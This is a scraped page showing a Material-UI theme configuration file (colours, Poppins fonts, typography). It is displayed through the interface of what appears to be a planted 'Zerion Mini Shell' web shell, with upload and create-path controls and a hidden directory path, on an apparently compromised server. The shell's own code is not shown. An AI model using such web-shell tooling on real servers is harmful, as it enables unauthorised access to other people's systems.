%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.f81b4c9eb38fd76cdf20462cf2027aa3/static/js/common/components/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.f81b4c9eb38fd76cdf20462cf2027aa3/static/js/common/components/theme.js

import { createTheme } from "@material-ui/core/styles";
import PoppinsRegularWoff2 from "assets/fonts/poppins-regular-webfont.woff2";
import PoppinsBoldWoff2 from "assets/fonts/poppins-bold-webfont.woff2";
import createBreakpoints from "@material-ui/core/styles/createBreakpoints";

const Poppins = {
  fontFamily: "Poppins",
  fontStyle: "normal",
  fontDisplay: "swap",
  fontWeight: 400,
  src: `
    local('Poppins'),
    local('Poppins-Regular'),
    url(${PoppinsRegularWoff2}) format('woff2')
  `,
};

const PoppinsBold = {
  fontFamily: "Poppins",
  fontStyle: "normal",
  fontDisplay: "swap",
  fontWeight: 600,
  src: `
    local('Poppins'),
    local('Poppins-Regular'),
    url(${PoppinsBoldWoff2}) format('woff2')
  `,
};

const breakpoints = createBreakpoints({});

const theme = createTheme({
  spacing: 8,
  palette: {
    white: "#fff",
    // purple
    primary: {
      light: "#b533ad",
      main: "#872878",
      dark: "rgba(135, 40, 120, 0.8)",
    },
    // pink
    secondary: {
      light: "#FF7EAD",
      main: "#FF52A3",
      dark: "rgba(255, 82, 163, 0.8)",
    },
    success: {
      light: "#10ad5f",
      main: "#0D9350",
      dark: "rgba(13, 147, 80, 0.8)",
    },
    error: {
      light: "#fc2631",
      main: "#E7242E",
      dark: "rgba(231, 36, 46, 0.8)",
    },
    text: {
      primary: "#262626",
      secondary: "#595959",
    },
    body1: {
      fontSize: 14,
      lineHeight: 21,
    },
    body2: {
      fontSize: 12,
      lineHeight: 18,
    },
  },
  typography: {
    fontFamily: "Poppins, sans-serif",
    fontSize: 14,
    h1: {
      fontSize: "24px",
      lineHeight: "24px",
      marginBottom: "14px",
      fontWeight: 600,
    },
    h3: {
      [breakpoints.only("sm")]: {
        fontSize: "2.6rem",
      },
    },
  },
  overrides: {
    MuiFormLabel: {
      root: {
        fontSize: "14px",
        marginTop: "2px",
        color: "#606060",
      },
    },
    MuiCssBaseline: {
      "@global": {
        "@font-face": [Poppins, PoppinsBold],
      },
    },
  },
});

export default theme;

Zerion Mini Shell 1.0